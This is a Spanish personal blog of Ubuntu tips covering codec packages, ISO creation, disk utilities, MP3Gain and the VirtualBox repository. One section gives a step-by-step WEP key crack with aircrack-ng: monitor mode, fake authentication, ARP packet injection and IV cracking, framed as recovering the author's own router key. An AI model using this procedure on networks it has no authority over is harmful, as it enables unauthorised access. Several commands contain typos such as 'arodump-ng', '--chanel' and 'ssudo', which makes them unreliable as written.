Instalación de paquetes extras

Una vez instalado Ubuntu paso a instalar ciertos paquetes que me son imprescindibles, todos ellos incluidos en los repositorios de ubuntu:

1.- ubuntu-restrited-extras un paquete que incluye todo el software que por razones de patentes y conflictos con la legislación de ciertos países, no puede incluir por en la distribución. Hay paquetes como estos:

  • Soporte varios formatos de audio como MP3 y video para DVD
  • Incluye las fuentes TrueType de Microsoft 
  • Plugins de Flash, para videos de internet como los de Youtube
  • Codecs para audio y video como WMV
  • Java
Otro paquete de codecs relacionado con Microsoft que no se encuentra en los repositorios de Ubuntu se encuentra en este enlace:

http://mirror.home-dn.net/debian-multimedia/pool/main/w/w32codecs/


2.- vlc, Otro paquete que se deben instalar que conlleva la instalación de multitud de codecs  para no tener problemas en la visualización de vídeos.

3.- openoffice.org, para complementar la instalación estándar del paquete ofimático OpenOffice.

4.- Si se trata de un portátil, hay 3 paquetes que son especialmente interesantes:

  • Monitor del Sistema
  • Powertop
  • Sensors-applet
  • Monitor de frecuencia de la CPU

    Como crear imágenes ISO de un CD/DVD o un directorio.

    1.- genisoimage desde línea de comandos.

    Para crear una ISO de un directorio:

    genisoimage -o nombre.iso /directorio

    Igual sintaxis si se trata de un CD o un DVD

    genisoimage -o nombre.iso /media/cdrom0

    2.- Brasero:

    En la opción Copia de Disco seleccionamos como destino Archivo de Imagen. Se Pincha el botón propiedades y elegimos como Tipo de imagen de disco el formato Imagen ISO9660

    Como averiguar una clave WEP

    Soy incapaz de recordar la clave almacenada para acceder a mi punto de acceso Wifi (AP).

    • Abro un terminal y trabajo como root
    su
    contraseña:
    • Necesito instalar las utilidades aircrack-ng que se encuentran en el repositorio ubuntu.
    apt-get install aircrack-ng
    • La información de mi tarjeta de red inalámbrica la descubro de este modo:
    airmon-ng
    y obtengo este resultado, del que tomo nota:
    Interface Chipset Driver
    wlan0 Intel 3945ABG iwl3945 - [phy0]
    • Comenzamos poniendo nuestra tarjeta en modo monitor. Si mi tarjeta Wifi del portatil admite el modo monitor entonces tendremos ganado mucho terreno. En este enlace se relaciona las posibilidades que tenemos con nuestra tarjeta para descubrir la clave.
    airmon-ng start wlan0
    Nota: volvemos a lanzar el comando airmon-ng ahora sin parámetros y si el resultado es:

    wlan0 Intel 3945ABG iwl3945 - [phy0]
    mon0 Intel 3945ABG iwl3945 - [phy0]

    hemos de utilizar el interfaz mon0 en todas las instrucciones que vienen a continuación pues en caso de usar wlan0, obtendremos errores de dispositivo ocupado:

    ioctl(SIOCSIWMODE) failed: Device or resource busy
    • Empiezo escaneando las redes a nuestro alcance:
    arodump-ng wlan0
    y del resultado que obtengo me apunto los datos correspondientes a mi punto de acceso Wifi

    BSSID Dirección MAC de mi AP
    PWR Potencia de la señal
    #Data Número de paquetes capturados.
    CH Número de Canal
    ENC Algoritmo de encriptación. OPN significa open, sin encriptación.
    ESSID Nombre de la red
    STATION La dirección MAC de usuarios conectados a un Punto.
    • Vamos a averiguar si el punto, además de estar encriptado, dispone de bloqueo de direcciones MAC. Lanzamos este comando:
    aireplay-ng --fakeauth 0 -e [nombre Punto] -a [MAC Punto] wlan0
    NOTA: la dirección MAC se escribe con el formato xx:xx:xx:....

    Si el resultado es

    21:48:38 Sending Authentication Request (Open System) [ACK]
    21:48:38 Authentication successful
    21:48:38 Sending Association Request [ACK]
    21:48:38 Association successful :-) (AID: 1)

    Significa que el punto de acceso no tiene bloqueo de MAC
    • Inicio la captura de paquetes pero sólo el tráfico de mi PA y no los de los demás. Así que ajusto los parámetros del comando a la mac y al canal de mi punto. la información de los paquetes capturados se vuelca en el fichero capturas. El parámetro --ivs es para que solo guarde en el fichero los paquete IV (vector de inicialización) que son los únicos útiles.
    airodump-ng --ivs --chanel [Canal] --bssid [MAC Punto] -w capturas wlan0
    • Inyección de paquetes. Abrimos una segunda ventana de terminal. Para poder atacar la clave se necesitan un número elevado de paquetes IV y sólo con la captura el tráfico del punto puede ser una tarea eterna. Si inyectamos paquetes, se acelera la captura de los mismos y veremos crecer el valor #Data de la primera ventana.
    aireplay-ng -3 -b [MAC Punto] -h [MAC portatil] wlan0
    • Análisis de las capturas. Hay que tener paciencia y esperar a que crezca el valor #Data de la primera ventana de terminal. Cuando alcance un valor importante de unos 10.000 podemos empezar a intentar el asalto a la clave:
    aircrack-ng -Z capturas-01.ivs
    Si el número de capturas es insuficiente, aircrack espera a tener más información y reincia el análisis y así hasta descubrir la clave.

    utilidades de disco

    Para conocer los discos instalados:
    lshw -C disk
    Para revisar el estado de un disco y repararlo:

    si es EXT3
    fsck -f -y /dev/sda1
    si es VFAT o FAT32
    dosfsck -r /dev/sda1

    Y para que los repare automáticamente

    fsck -p /dev/sda1
    dosfsck -a -v /derv/sda1
    Para formatear un disco en Fat 32
    mkfs.vfat -F 32 -c /dev/sda1

    Con el parámetro -c se localizan y marcan los sectores defectuosos para que no sean usados por el sistema operativo.

    Para localizar bloques defectuosos:
    badbloks -v -s /dev/sda1
    Para saber el sistema de archivos y el espacio:
    df -T -h
    Para conocer el espacio que ocupa cada directorio:

    du -sh *

    Cargar el paquete de codecs de Windows

    Previamente hemos instalado desde synaptic todos los paquetes que conllevan a su vez la instalación de múltiples codecs, como es el reproductor mplayer de medibuntu.org, todos los paquetes gstreamer (salvo los .dev y .deb y .doc) y el paquete ubuntu-extricted-extras, todos ellos en los repositorios de Ubuntu o de medibuntu.

    Pero por cuestiones legales Ubuntu no incluye en sus repositorios los codecs que permiten ver un montón de formatos de video muy extendidos en Windows, como los formatos de Quck Time, Windows Media y muchos otros. Para instalarlos hemos de seguir otro camino:

    • Nos bajamos el paquete con la colección de codecs desde Internet. Desde Softonic por ejemplo:
    http://w32codecs.softonic.com/linux

    El paquete se llamará essential-nnnnn.tar.bz2

    • Abrimos la consola del Terminal para ejecutar una serie de comandos:
    Vamos al directorio donde hemos descargado el paquete
    cd /home/alberto/downloads
    Creamos el directorio /usr/lib/win32 si es que no está creado
    sudo mkdir /usr/lib/win32
    Se descomprime el paquete
    tar -xjvf essential-20071007.tar.bz2
    Movemos estos los ficheros descomprimidos al directorio creado para los codecs de window
    ssudo mv essential-20071007/* /usr/lib/win3

    Y ya podremos ver los vídeos codificados en Windows.

    Normalizar el volumen de los mp3: MP3Gain

    En los repositorios de Ubuntu tenemos el programa MP3Gain que funciona en línea de comandos.

    la sintaxis básica de la instrucción sería:

    mp3gain -r -c *.mp3
    • El parámetro -r aplica los cambios sobre los ficheros. Sin este parámetro mp3gain sólo informa. El parámetro -c ignora los avisos sobre distorsión (clipping) y se evita estar contestando para que continúe el proceso
    Si no se le indica otra cosa, mp3gain aplica la ganancia de 89 decibelios. Pero existen otros parámetros que puedo utilizar:
    • El parámetro -k. hace que si con la ganancia de 89 db se produce distorsión (clipping) en algún punto del mp3, baja la ganancia hasta el punto que deja de producirse distorsión. Según dicen lo que saben de esto, distorsiones puntuales en algún momento de la canción son perfectamente asumibles.
    • El parámetro -m 5 permite subir la ganancia por defecto el número de unidades que se indican. en el ejemplo 5. Con ello oiremos los mp3 con un volumen superior, pero a cambio aumentará mucho la distorsión. Mejor dejar los mp3 a la ganancia por defecto de 89 db, que es una cantidad bien estudiada y que tiene su porqué.
    Este artículo sobre La Guerra del Volumen me ha abierto los ojos sobre un tema que desconocía por completo y por eso dejo la ganancia por defecto de 89 db.

    Una vez localizado el directoriomp3 donde guardamos los mp3, este comando escanea todos los subdirectorios buscando mp3 para normalizarlos.
    find /directoriomp3 -iname "*.mp3" -exec mp3gain -r {} \;
    He visto por ahí que el comando mp3gain se ejecuta con estos parámetros: mp3gain -r -k -m 5 Pero en mi opinión y después leído lo leído, sobran los dos últimos, es decir ni quiero que baje la ganancia por unas pocas distorsiones que este programa detecta, ni quiero que suba el volumen - ya lo subiré yo a mi reproductor- por encima del valor por defecto aconsejado.

    Incluir el repositorio de Virtualbox

    Editamos el fichero /etc/apt/sources.list y añadimos la siguiente línea:

    deb http://download.virtualbox.org/virtualbox/debian jaunty non-free
    Nos bajamos la clave pública de Sun:

    http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc
    Y la añadimos a nuestro fichero de claves válidas:
    apt-key add sun_vbox.asc

    Y desde el gestor de paquetes Synaptic o desde línea de comandos:

    apt-get install virtualbox-3.0

    ya podemos actualizar VirtualBox.